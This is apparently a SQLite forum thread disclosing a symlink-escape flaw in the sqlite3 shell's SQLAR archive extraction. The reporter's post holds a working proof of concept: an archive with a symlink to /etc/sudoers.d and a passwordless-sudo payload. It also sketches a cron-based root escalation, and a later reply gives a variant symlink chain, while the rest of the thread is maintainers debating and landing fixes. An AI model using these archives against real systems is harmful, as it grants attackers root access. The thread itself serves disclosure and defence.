SQLite3 SQLAR Archive Extraction - Symlink Escape (Zip Slip via Symlink)
(1) By anonymous on 2026-02-21 11:04:36 [source]
Author
Simone Licitra (r08t@proton.me)
Summary
SQLite3's .archive -x (SQLAR extraction) is vulnerable to a Zip Slip via Symlink
attack. A malicious archive can escape the extraction directory and write files to
arbitrary paths, enabling Local Privilege Escalation when sqlite3 or any process
using the SQLAR extraction runs with elevated privileges.
Affected Versions
- SQLite3 <= 3.51.0 (latest, confirmed)
- All versions since SQLAR was introduced (~3.27.0, 2019)
Affected Component
shell.c → arExtractCommand() (line 27827)
Root Cause
The ONLY path sanitization in extraction is:
AND name NOT GLOB '*..[/\\]*'
This blocks classic ../ traversal but NOT symlink-based escape. The extraction
processes entries in PRIMARY KEY (name) order. If a symlink entry is alphabetically
before a path that goes through it, the symlink is created first, then subsequent
entries are written through it to the outside target.
Proof of Concept
# Craft the malicious archive
sqlite3 evil.db "
CREATE TABLE sqlar(name TEXT PRIMARY KEY, mode INT, mtime INT, sz INT, data BLOB);
-- Symlink: 'escape' -> /privileged/path (e.g., /etc/sudoers.d)
INSERT INTO sqlar VALUES('escape', 40960, unixepoch(), -1, '/etc/sudoers.d');
-- File written THROUGH symlink (40960 = S_IFLNK, 33188 = 0100644)
INSERT INTO sqlar VALUES('escape/pwned', 33188, unixepoch(), -1,
'ALL ALL=(ALL) NOPASSWD:ALL');
"
# When a privileged process extracts:
sqlite3 evil.db ".archive -x --directory /safe/extract/dir"
# Result: /etc/sudoers.d/pwned is created with full sudo access!
LPE Exploitation Scenarios
Scenario A: sqlite3 CLI runs as root (cron, scripts, backup)
# Cron job: root backs up and restores archives
# 0 3 * * * root sqlite3 /backup/archive.db ".archive -x --directory /restore"
# Attacker controls /backup/archive.db → writes to /etc/cron.d/ → RCE as root
Scenario B: Privileged service using libsqlite3
Any application that:
- Accepts user-supplied .db files
- Calls sqlite3's archive extraction
- Runs with elevated privileges
Scenario C: Package managers / installers using SQLAR format
Attack Chain (Full LPE)
- Attacker creates
evil.dbwith symlink + payload evil.dbprocessed by privileged sqlite3 processescapesymlink created inside "safe" extract dir → points to/etc/cron.descape/pwnedwritten through symlink → lands in/etc/cron.d/pwned- Cron executes payload as root → shell or SUID bash
Code Fix Required
In arExtractCommand(), after extracting each entry:
- Resolve the final path with
realpath()and verify it stays withinzDir - OR: refuse to extract any archive containing S_IFLNK entries
- OR: use
O_NOFOLLOWwhen opening files for extraction - Similar to how tar, zip tools handle this with
--no-same-owneretc.
Severity
- CVSS 3.1: AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H (7.5 HIGH)
- With a single command that a low-priv user can run as a privileged service: CRITICAL
(2) By Spindrift (spindrift) on 2026-02-22 07:43:55 in reply to 1 [link] [source]
That's very sneaky.
(3) By Mike Swanson (chungy) on 2026-02-22 08:14:08 in reply to 1 [link] [source]
In the suggested fixes, I believe the first option to be best. SQL archives do need to represent symbolic links (just as zip and tar do), and remember that Fossil is one of the big users of SQL archives (not just for manual download, but the fossil get command uses them internally), and version controlled files often include symbolic links. O_NOFOLLOW is probably fine assuming that archives are only created in a single shot and intended to be extracted again, but as archives can be appended at any time, there is a possibility the user stores a file path with a symbolic link component somewhere in the middle. It may be too much of a burden on the user-side if it behaves oddly.
It's also worth noting the true source line for the arExtractCommand function is in file shell.c.in, line 6666. The line 27827 referenced is a generated file.
(4) By Bo Lindbergh (_blgl_) on 2026-02-22 09:19:53 in reply to 3 [link] [source]
You can find bad symlink/file combinations pretty cheaply.
select esc.name as "symlink entry", bad.name as "suspect entry" from sqlar esc, sqlar bad on bad.name>=esc.name||'/' and bad.name<esc.name||'0' where esc.mode&0xF000=0xA000;
(5) By Mike Swanson (chungy) on 2026-02-22 10:02:30 in reply to 4 [link] [source]
That'd flag my “there is a possibility the user stores a file path with a symbolic link component somewhere in the middle” scenario as a false positive. It's a contrived example, but I think it's one that ought to be considered safe, given that it lives entirely in the tree instead of trying to escape it. One might even imagine that using the symlink path is a shortcut in lieu of typing out a longer and deeper path.
mkdir -p dir/a ln -s a dir/b sqlite3 dir.sqlar -Ac dir touch dir/b/c sqlite3 dir.sqlar -Au dir/b/c
Perhaps even in this circumstance, the -u/--update command shouldn't store the dir/b/c path, but dir/a/c instead. Dereference path components except for the last component, and this issue becomes moot, and the -x/--extract command might start refusing to create such entries. (-U/--unsafe override possible, especially for backwards compatibility?)
(6) By Bo Lindbergh (_blgl_) on 2026-02-22 22:56:11 in reply to 1 [link] [source]
A single call to realpath is insufficient, since it only works for existing filesystem objects. You'd have to either call it for each component of the destination path (expensive) or write your own variant (complicated and easy to get wrong).
(7) By Richard Hipp (drh) on 2026-02-23 01:45:07 in reply to 6 [link] [source]
I made a couple of attempts to add a realpath() SQL function to the fileio.c extension, in order to add realpath() tests to the SQL query that actually performs the extraction. But that didn't work out.
Then I tried to simply not extract files that are children of a symlink. That works, but before checking it in, I realized that a case-insensitive filesystem can make it tricky to determine if a file is a child of a symlink or not. Maybe I could work through that, but it would be locale-dependent and error prone.
My next idea was to do symlink creation last, after all files and directories have already been created. That way, a symlink created by the archive cannot be used an escape out of the destination directory. That's the solution currently on trunk.
(8.2) By DrkShadow (drkshadow) on 2026-02-23 02:48:57 edited from 8.1 in reply to 7 [link] [source]
I acknowledge extracting symlinks last, and raise you: it won't work. TBH it's like the recent Microsoft patch, "I know, we'll fix this security issue of 'users can create the directory' by creating the directory first! That way, they can't create a directory at that path with different permissions!!"
file: sdr.cnf: 'ALL ALL=(ALL) NOPASSWD:ALL'
symlink: sudoers.d -> /etc/sudoers.d
symlink: sudoers.d/sudoers.conf -> /data/base/path/sdr.cnf
(Maybe sudoers doesn't follow symlinks for config - but you could do the same thing with an suid file into /usr/bin, overwriting one that already exists.)
You might be able to fix things if you extract longest symlink paths first:
symlink: biglongnamepath123 -> /etc/sudoers.d
symlink: shortpath/x.conf -> /data/base/path/sdr.cnf
symlink: shortpath -> biglongnamepath123
.... hmm. (Because of the ../ check.) I'm uncertain if there's a work-around here.
Another option: stat the destination director(ies) on each extract, and don't extract through symlinks. This remedies filename insensitivity (assuming that prevents two file/symlink names, with different case, and not the case in the database). However then you have to keep track of every symlink that you created in the database engine (and if you intend to symlink to an existing source, with the intent of extracting data across the symlink -> fail).
This is almost a case of executing binary code included in an untrusted (archive|executable|dbfile): executor beware, why are you doing this? Something is almost certainly wrong with the system design.. but, backward compatibility.
There may be people who (errantly!) depend on this. Create a symlink, ./extract-path, that points to wherever they want items to be placed? extract to extract-path, and things go to the correct location on the filesystem? Again, it's kind of a thing about untrusted data and allowing random/unknown data and directory trees (from an untrusted archive file) to be placed on the filesystem. (Even with realpath, potentially backward compatibility.)
(10) By Mike Swanson (chungy) on 2026-02-23 06:35:55 in reply to 8.2 [link] [source]
This is almost a case of executing binary code included in an untrusted (archive|executable|dbfile): executor beware, why are you doing this? Something is almost certainly wrong with the system design.. but, backward compatibility.
To be honest, I thought of that with this issue report when I first read it. I know that zip and tar have their mitigations, but on some level, you shouldn't extract archives from untrustworthy sources. That might even include servers that claim to be Fossil (or claim to be running a normal Fossil revision, it wouldn't be hard to fake the version information...).
I've often lived by a rule of listing archives before extracting them. At the minimum, --list --verbose (-tv) doesn't show the symlink target. It really should.
(11) By Richard Hipp (drh) on 2026-02-23 12:30:21 in reply to 8.2 [link] [source]
A new attempt, using the original realpath() approach, is now on trunk.
Note that I had to make substantial enhancements to the realpath() SQL function (to do things that the C-library realpath() won't do - but Windows _wfilepath() does do) in order to get this to work.
Please try to break it now.
(12) By Mike Swanson (chungy) on 2026-02-23 19:07:41 in reply to 11 [link] [source]
It passes my contrived “safe” example. I think I'm happy about that. :-)
(9) By Mike Swanson (chungy) on 2026-02-23 06:22:46 in reply to 7 [link] [source]
Using the example I laid out in post 5, SQLite's still able to create an archive in this manner, but it is unable to extract the dir/b/c member, with SQL error: failed to create symlink: dir/b. To a point, one can always craft the sqlar table directly (as the opening post does), but it's counter-intuitive for the .archive/-A commands to be able to create a particular structure without being able to subsequently extract it.